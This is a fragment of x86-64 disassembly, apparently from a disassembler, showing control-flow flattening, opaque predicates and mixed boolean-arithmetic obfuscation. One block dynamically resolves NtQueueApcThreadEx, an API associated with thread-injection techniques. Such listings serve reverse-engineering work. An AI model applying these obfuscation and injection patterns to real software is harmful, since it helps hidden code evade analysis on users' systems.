not esi
mov eax, ecx
and eax, 0xc1947655
and ebx, 0x3e6b89aa
or ebx, eax
or ecx, esi
and esi, 0xc1947655
and edx, 0x3e6b89aa
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x72e217ce
and ecx, 0x8d1de831
or ecx, eax
mov eax, ecx
xor eax, 0x50de030
and edi, 0x3276c471
and ebp, 0xcd893b8e
or ebp, edi
mov edx, ebp
xor edx, 0x589238c
xor ecx, 0x72e217ce
xor ebp, 0x3276c471
mov ebx, ecx
and ebx, 0xf8121c43
and eax, 0x7ede3bc
or eax, ebx
or ecx, ebp
and ebp, 0xf8121c43
and edx, 0x7ede3bc
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x387607e2
and ecx, 0xc789f81d
or ecx, eax
xor ecx, 0xc789f81d
sete r9b
setne bl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
mov eax, ebx
xor cl, bl
or bl, dl
xor bl, 1
xor al, dl
not al
and al, dl
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov ebx, edx
and bl, r9b
xor dl, r9b
or dl, bl
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x2f381141
mov ecx, 0x4cb8ca63
cmovne eax, ecx
test dl, 1
mov ecx, 0x2f381141
jmp 0x140138bac
cmp ecx, 0xc596e3f7
je 0x14013d8da
cmp ecx, 0xc717a376
jne 0x1401306d0
mov ecx, 0x26113110
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xa9a117e1
je 0x14013d9c7
cmp ecx, 0xab509b8d
jne 0x1401306d0
mov ecx, 0x5fa0e24a
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xecfb52b9
je 0x14013d9dd
cmp ecx, 0xee120839
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebx, ecx
xor ebx, 1
and ebx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov edx, ebx
not edx
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0x3c0f53fe
and ebx, 0xc3f0ac01
or ebx, edi
or edx, ebp
and ebp, 0x3c0f53fe
and ecx, 0xc3f0ac01
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0x497f7341
and ecx, edx
not edx
and edx, 0x497f7341
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x6613ae06
and ecx, 0x99ec51f9
or ecx, edx
mov edx, ecx
xor edx, 0x50132030
xor ecx, 0x296c5c42
and edx, 0x5613a135
and ecx, 0xa9ec5eca
or ecx, edx
mov edx, ecx
xor edx, 0x52130011
xor ecx, 0x80c5a40
and ecx, 0xc0cfb64
and edx, 0xf3f3049b
or edx, ecx
xor edx, 0xf3f3049b
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov r9d, eax
xor r9b, dl
xor r9b, 1
and dl, bl
or bl, r8b
xor bl, 1
and al, r8b
or al, dl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
not dl
and dl, al
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
xor dl, r9b
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0x81417e45
mov eax, 0xb58d6427
cmovne ecx, eax
test dl, 1
cmovne ecx, eax
not bl
test bl, 1
mov eax, 0x81417e45
jmp 0x14013dd20
cmp ecx, 0x172437ce
je 0x14013db8a
cmp ecx, 0x183b5718
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8053a09
and edx, 0xf7fac5f6
or edx, ecx
mov ebp, edx
xor ebp, 0xf7fac5f6
mov ecx, edx
xor ecx, 0x8053a08
xor edx, 0xf7fac5f7
and edx, ebp
and ecx, 0xfffffffe
and ebp, 1
or ebp, ecx
mov ecx, edx
not ecx
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xb1ccfad9
and edx, 0x4e330526
or edx, edi
or ecx, ebx
and ebx, 0xb1ccfad9
and ebp, 0x4e330526
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x10a04846
mov ebp, ecx
and ebp, 0x100a3a8
or ebp, edx
xor ebp, 0x100a3a8
and ecx, 0xee5f1411
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xee5f1411
and ecx, 0x11a0ebee
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x9481993d
and edx, 0x6b7e66c2
or edx, ecx
xor edx, 0x6b7e66c2
sete cl
setne bl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and r8b, bl
xor bl, al
xor bl, 1
mov edx, ebx
xor dl, al
and dl, bl
and cl, al
or cl, r8b
mov eax, edx
xor al, 1
xor cl, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, cl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x69038357
mov ebp, 0x4d802ba
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x69038357
jmp 0x14013dd20
cmp ecx, 0x721ed2d7
je 0x14013dbac
cmp ecx, 0x72c826b0
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
or eax, 1
mov ebp, eax
not ebp
and ecx, 0xc8aab089
and edx, 0x37554f76
or edx, ecx
mov ecx, edx
xor ecx, 0x454750
xor edx, 0xc8aab088
mov ebx, eax
and ebx, 0x3fb028af
and ebp, 0xc04fd750
or ebp, ebx
or eax, edx
and edx, 0x3fb028af
and ecx, 0xc04fd750
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xe974b862
and ecx, eax
or eax, 0x168b479d
mov edx, eax
not edx
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x6fc11cc7
and edx, 0x8034a020
or edx, ebx
or eax, ebp
and ebp, 0x6fc11cc7
and ecx, 0x903ee338
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x168b479d
and eax, 0xe974b862
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x18e8cda2
and eax, 0xe717325d
or eax, edx
xor eax, 0xe717325d
or eax, ecx
cmp eax, 0xffffffff
sete r8b
setne cl
cmp dword [0x14024b6e4], 0xa
setl bl
mov eax, ebx
xor al, cl
not al
and al, cl
or cl, bl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
or al, r8b
xor bl, r8b
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
mov r8d, ecx
xor r8b, 1
mov eax, r8d
and al, cl
and dl, bl
xor al, 1
mov r9d, ecx
xor r9b, al
or al, cl
xor al, 1
or al, r9b
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
and dl, al
or dl, cl
mov eax, r8d
and al, bl
xor r8b, bl
or r8b, al
mov eax, r8d
xor al, dl
test al, 1
mov eax, 0xfd312ed7
mov ecx, 0x1ef348e0
cmovne eax, ecx
test r8b, 1
mov ecx, 0xfd312ed7
jmp 0x14013c7fd
cmp ecx, 0x382adb6e
je 0x14013dd34
cmp ecx, 0x3b327253
jne 0x1401306d0
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x2290bb11
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x97b52d0e
je 0x14013def0
cmp ecx, 0x990db749
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xf69681b4
mov ebx, ecx
and ebx, 0x9697e4b
or ebx, edx
mov edx, ebx
xor edx, 0x1614842
xor ebx, 0x96940080
or ecx, 0x9e9c3688
and ebx, 0x9e9c3688
and edx, 0x6163c976
or edx, ebx
and ecx, 0x9e9c3689
xor ecx, edx
not ecx
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x82b327f9
and ecx, 0x7d4cd806
or ecx, edx
xor ecx, 0x7d4cd806
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
and bl, dl
or bl, r8b
xor bl, 1
mov edx, eax
or dl, bl
xor bl, al
mov eax, edx
xor al, bl
mov eax, 0x3353a37d
mov ecx, 0xc53622c7
cmovne eax, ecx
test bl, bl
mov ecx, eax
mov ebp, 0x3353a37d
cmovne ecx, ebp
test dl, dl
jmp 0x14013d209
cmp ecx, 0xd649e256
je 0x14013dfe2
cmp ecx, 0xd652f33f
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
not ebp
mov ebx, ebp
and ebx, 0x4c1e984d
and ecx, 0xb3e167b2
or ecx, ebx
mov ebx, ecx
xor ebx, 0xb14123b0
xor ecx, 0x4c1e984c
or ecx, 1
mov edi, edx
not edi
mov esi, ecx
and esi, 0x42ac4407
and ebx, 0xbd53bbf8
or ebx, esi
or ecx, edi
and edi, 0x42ac4407
and edx, 0xbd53bbf8
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
not ecx
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5217d456
and ecx, 0xade82ba9
or ecx, edx
xor ecx, 0xade82ba9
sete r10b
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov ebx, r9d
xor bl, cl
and bl, r9b
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, r8b
and al, r10b
or al, dl
and r9b, r8b
and r10b, cl
or r10b, r9b
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
xor dl, 1
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x524fbd3d
cmovne ecx, r12d
test dl, 1
mov edx, ecx
mov ebp, 0x524fbd3d
cmovne edx, ebp
test al, 1
jmp 0x14013d67a
cmp ecx, 0xb52853f2
je 0x14013e18a
cmp ecx, 0xb58d6427
jne 0x1401306d0
mov ecx, 0xee120839
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xfc9e752d
je 0x14013e1b2
cmp ecx, 0xfcfedc95
jne 0x1401306d0
mov ecx, 0xaf6451a4
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x102ddd95
je 0x14013e2a1
cmp ecx, 0x10bec9a6
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd1956270
and ecx, eax
and eax, 0x2e6a9d8f
or eax, edx
mov edx, eax
xor edx, 0x2e008d0a
xor eax, 0xd1956270
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x907f32c5
and edx, 0x6f80cd3a
or edx, ebx
or eax, ebp
and ebp, 0x907f32c5
and ecx, 0x6f80cd3a
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
or ecx, 1
mov ebp, ecx
not ebp
and edx, 0x535c1e80
and eax, 0xaca3e17f
or eax, edx
mov edx, eax
xor edx, 0x400c
xor eax, 0x535c1e81
mov ebx, ecx
and ebx, 0xbeb7a773
and ebp, 0x4148588c
or ebp, ebx
or ecx, eax
and eax, 0xbeb7a773
and edx, 0x4148588c
or edx, eax
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0xa5a80d89
and eax, ecx
not ecx
and ecx, 0xa5a80d89
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x5a57f276
and eax, 0xa5a80d89
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x2f96abfa
and eax, 0xd0695405
or eax, edx
xor eax, 0xd0695405
or eax, ecx
cmp eax, 0xffffffff
sete al
setne r9b
cmp dword [0x14024b6e4], 9
setg r8b
mov edx, r8d
and dl, r9b
xor r9b, r8b
or r9b, dl
mov ebx, r9d
xor bl, 1
xor al, r8b
mov edx, eax
not dl
mov ecx, ebx
and cl, r9b
and dl, al
mov r8d, ecx
and r8b, bl
xor cl, bl
or cl, r8b
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov ebx, ecx
xor bl, 1
and bl, dl
xor dl, 1
and dl, cl
or dl, bl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xe77a9f9e
mov ebp, 0x2aa81b9c
cmovne ecx, ebp
test al, al
mov eax, 0xe77a9f9e
jmp 0x1401306c2
cmp ecx, 0x65546794
je 0x14013e2b7
cmp ecx, 0x68c48c02
jne 0x1401306d0
mov ecx, 0xdaa5606f
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x2eca7cb5
je 0x14013e2cd
cmp ecx, 0x2f381141
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x55642318
and edx, ecx
and ecx, 0xaa9bdce7
or ecx, ebp
mov ebp, ecx
xor ebp, 0x8a90c427
xor ecx, 0x55642318
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x744f19d8
and ebp, 0x8bb0e627
or ebp, edi
or ecx, ebx
and ebx, 0x744f19d8
and edx, 0x8bb0e627
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0xe112368f
and ebp, edx
mov ebx, ecx
and ebx, 0x1eedc970
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
mov ebp, ebx
not ebp
and ebp, 0x1eedc971
and ebx, 0xe112368e
or ebx, ebp
and ecx, 0xa228150d
mov ebp, edx
and ebp, 0x5dd7eaf2
or ebp, ecx
xor ebp, 0xa228150c
and edx, 1
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x5e7f10b5
and edx, 0xa180ef4a
or edx, ecx
mov ebp, edx
xor ebp, 0x81002708
mov ecx, ebx
not ecx
xor edx, 0x5e7f10b5
mov edi, ecx
and edi, 0x20a1d8e6
and ebx, 0xdf5e2719
or ebx, edi
or ecx, edx
and edx, 0x20a1d8e6
and ebp, 0xdf5e2719
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xcd723413
and ecx, 0x328dcbec
or ecx, edx
xor ecx, 0x328dcbec
sete cl
setne r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov edx, r9d
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
xor al, bl
and al, bl
or r9b, r8b
xor cl, r8b
and cl, r8b
xor cl, 1
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and cl, dl
or dl, bl
and bl, al
or bl, cl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x2c7ff0fb
mov ebp, 0x9aa41523
cmovne ecx, ebp
test dl, 1
mov edx, 0x2c7ff0fb
jmp 0x14013a89c
cmp ecx, 0x51bcb6d9
je 0x14013e3af
cmp ecx, 0x51f0e80f
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ebx
xor edx, 0x656b7254
and edx, ecx
or ecx, 0x656b7254
mov ebp, ecx
not ebp
mov edi, edx
not edi
mov esi, ecx
and esi, 0x44c918db
and ebp, 0x9a148520
or ebp, esi
or ecx, edi
and edi, 0x44c918db
and edx, 0xbb36e724
or edx, edi
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2e330e0f
and ecx, 0xd1ccf1f0
or ecx, edx
mov ebp, ecx
xor ebp, 0xa187858
mov edx, ebx
and edx, 1
xor ebx, 1
or ebx, edx
mov edx, ebx
not edx
and edx, 0x5aa3544e
and ebx, 0xa55cabb1
or ebx, edx
mov edx, ebx
xor edx, 0x2018ab11
xor ebx, 0x5aa3544e
xor ecx, 0xb4a783a5
mov edi, ecx
and edi, 0xd5c604a2
and ebp, 0x2a39fb5d
or ebp, edi
or ecx, ebx
and ebx, 0xd5c604a2
and edx, 0x2a39fb5d
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x24178099
and ecx, 0x2002144
or ecx, edx
mov ebx, ecx
xor ebx, 0x2040
xor ecx, 0xd8d3563a
or ebp, 0x2617a1dd
mov edx, ebp
not edx
and ecx, 0xdad3573e
and ebx, 0x2404a0c1
or ebx, ecx
and ebp, 0xdad3573e
and edx, 0x1280800
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x26ba43f0
and edx, 0xd945bc0f
or edx, ecx
xor edx, 0xff521dd2
setne r8b
sete r9b
cmp eax, 9
setg r10b
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, r10b
and al, bl
mov edx, r9d
xor dl, r8b
and dl, r9b
mov r11d, eax
xor r11b, 1
mov ecx, r11d
or cl, al
xor al, cl
xor al, 1
or cl, r11b
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
and dl, al
and al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor r10b, r8b
mov ecx, ebx
and cl, r9b
xor bl, r9b
or bl, cl
xor bl, 1
mov ecx, r10d
and cl, bl
xor bl, r10b
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, eax
xor dl, 1
and cl, dl
or dl, bl
and bl, al
or bl, cl
mov eax, edx
xor al, bl
test bl, 1
mov ecx, 0xe6fba671
mov ebp, 0xb2f934cd
cmovne ecx, ebp
test dl, 1
mov edx, 0xe6fba671
jmp 0x14013a89c
cmp ecx, 0x8d0bbdc7
je 0x14013e57a
cmp ecx, 0x8e981f65
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x402090d5
mov ebx, ecx
and ebx, 0x9319620a
or ebx, edx
xor ebx, 0x9319620a
mov edx, ecx
and edx, 0x2cc60d20
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x8469a1b2
and edx, 0x7b965e4d
or edx, ebx
xor edx, 0x5750536c
and ebp, 0xe7d8eaa5
and ecx, 0x1827155a
or ecx, ebp
xor ecx, 0x1827155a
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe2561121
and ecx, 0x1da9eede
or ecx, edx
xor ecx, 0x1da9eede
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov ecx, r10d
or cl, bl
xor bl, 1
or bl, al
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor r10b, r8b
mov edx, eax
xor dl, r9b
or al, r9b
xor al, 1
or al, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and al, bl
or bl, dl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x62ec9827
mov ecx, 0x21ed2ad
cmovne eax, ecx
test dl, 1
mov ecx, eax
mov edx, 0x62ec9827
jmp 0x14013d203
cmp ecx, 0xd0716ce1
je 0x14013e590
cmp ecx, 0xd1103227
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov ebx, edx
and ebx, 1
or ebx, ebp
and ecx, 0xf00dcb55
and edx, 0xff234aa
or edx, ecx
mov ecx, edx
xor ecx, 0xff234aa
xor edx, 0xf00dcb55
and edx, ebx
not ebx
and ecx, ebx
or edx, ecx
xor ebx, edx
test ebx, edx
setne r8b
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, dl
and al, bl
mov r9d, ecx
xor r9b, al
and cl, r9b
and r9b, al
mov eax, ecx
and al, r9b
xor r9b, cl
or r9b, al
mov eax, r8d
xor al, dl
or dl, r8b
xor dl, 1
or dl, al
xor al, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov r8d, r9d
xor r8b, 1
mov edx, ecx
xor dl, 1
mov ebx, r9d
and bl, r8b
mov eax, ebx
and al, r9b
xor bl, r9b
or bl, al
mov eax, ebx
xor al, 1
and al, cl
and bl, dl
or bl, al
xor dl, r8b
or cl, r9b
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x47db40f0
mov edx, 0xd1a77df0
cmovne eax, edx
test cl, 1
mov ecx, 0x47db40f0
jmp 0x140138bac
cmp ecx, 0xaf6451a4
je 0x14013e5a6
cmp ecx, 0xb019d4ec
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x42ea8f1f
and edx, ebp
not ebp
and ebp, 0x40a80e04
and ecx, 0x242811b
or ecx, ebp
xor ecx, 0x242811b
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xbd1570e0
and edx, 0x42ea8f1f
or edx, ecx
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0xcd308c55
mov ecx, edx
xor ecx, 0xcd308c55
and ecx, edx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xafec2f9e
and ecx, 0x5013d061
or ecx, ebp
mov edi, ecx
xor edi, 0x81025825
and edx, 0x905fcd06
mov ebp, ebx
and ebp, 0x6fa032f9
or ebp, edx
xor ebp, 0x905fcd07
and ebx, 1
or ebx, ebp
mov edx, ebx
not edx
and edx, 0xefd99cf0
and ebx, 0x1026630f
or ebx, edx
mov edx, ebx
xor edx, 0x6420d
xor ecx, 0x62dca3ca
xor ebx, 0xefd99cf0
mov ebp, ecx
and ebp, 0x1c292512
and edi, 0xe3d6daed
or edi, ebp
or ecx, ebx
and ebx, 0x1c292512
and edx, 0xe3d6daed
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x63413767
and ecx, 0x9cbec898
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9cbec898
and ecx, 0x63413767
or ecx, edx
sete r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
xor cl, al
and cl, al
xor cl, r8b
mov r9d, ecx
xor r9b, 1
mov edx, eax
or dl, r8b
xor dl, 1
xor al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, r9d
and dl, al
xor al, 1
and cl, al
or cl, dl
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x79d38934
mov ebp, 0xbd685dc4
cmovne eax, ebp
test cl, cl
cmove eax, ebp
test dl, 1
mov ecx, 0x79d38934
jmp 0x1401306c8
cmp ecx, 0xf158d496
je 0x14013e681
cmp ecx, 0xf646259d
jne 0x1401306d0
jmp 0x1401305f6
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0xc622ffd2
mov edx, ebp
and edx, 0x39dd002c
or edx, ecx
xor edx, 0x39dd002c
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
mov edi, ecx
and edi, 0x4b40453
and edx, 0xfb4bfbac
or edx, edi
or ecx, ebp
and ebp, 0x4b40453
and ebx, 0xfb4bfbac
or ebx, ebp
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x58abe01c
and ecx, 0xa7541fe3
or ecx, edx
xor ecx, 0xa7541fe3
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov r8d, eax
xor r8b, dl
and dl, bl
and al, cl
or al, dl
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, 1
mov ecx, ebx
and cl, al
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
xor cl, r8b
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xab509b8d
mov ebp, 0x4ec87f3f
cmovne eax, ebp
test cl, 1
mov r12d, 0x4ec87f3f
cmovne eax, ebp
not dl
test dl, 1
mov ecx, 0xab509b8d
jmp 0x1401306c8
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x80461300
mov ebx, ecx
and ebx, 0x341000a0
or ebx, edx
xor ebx, 0x341000a0
mov edx, ecx
xor edx, 0xb45613a0
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x4ba9ec5e
and edx, 0xb45613a1
or edx, ebx
and ebp, 0xd3066665
and ecx, 0x2cf9999a
or ecx, ebp
mov ebp, ecx
xor ebp, 0x2cf9999a
xor ecx, 0xd3066665
and ecx, edx
not edx
and ebp, edx
or ecx, ebp
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov eax, ebx
xor al, dl
and bl, al
and al, dl
xor bl, 1
xor al, 1
mov r9d, ebx
xor r9b, al
or al, bl
xor al, 1
or al, r9b
xor dl, r8b
mov ebx, ecx
and bl, r8b
xor cl, r8b
or cl, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and cl, al
and bl, dl
or bl, cl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test dl, 1
mov ecx, 0xfc9e752d
mov edx, 0x80965803
cmovne ecx, edx
test bl, 1
mov r13d, 0x80965803
cmove ecx, edx
test al, 1
mov eax, 0xfc9e752d
jmp 0x14013dd20
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x83e0e7f
and edx, ecx
and ecx, 0xf7c1f180
or ecx, ebp
mov ebp, ecx
xor ebp, 0x9280e100
xor ecx, 0x83e0e7f
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x654b1aa9
and ebp, 0x9ab4e556
or ebp, edi
or ecx, ebx
and ebx, 0x654b1aa9
and edx, 0x9ab4e556
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0x54302e14
and ecx, 0xabcfd1eb
or ecx, ebp
xor ecx, 0xabcfd1ea
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x825d1845
and ecx, 0x7da2e7ba
or ecx, edx
mov edx, ecx
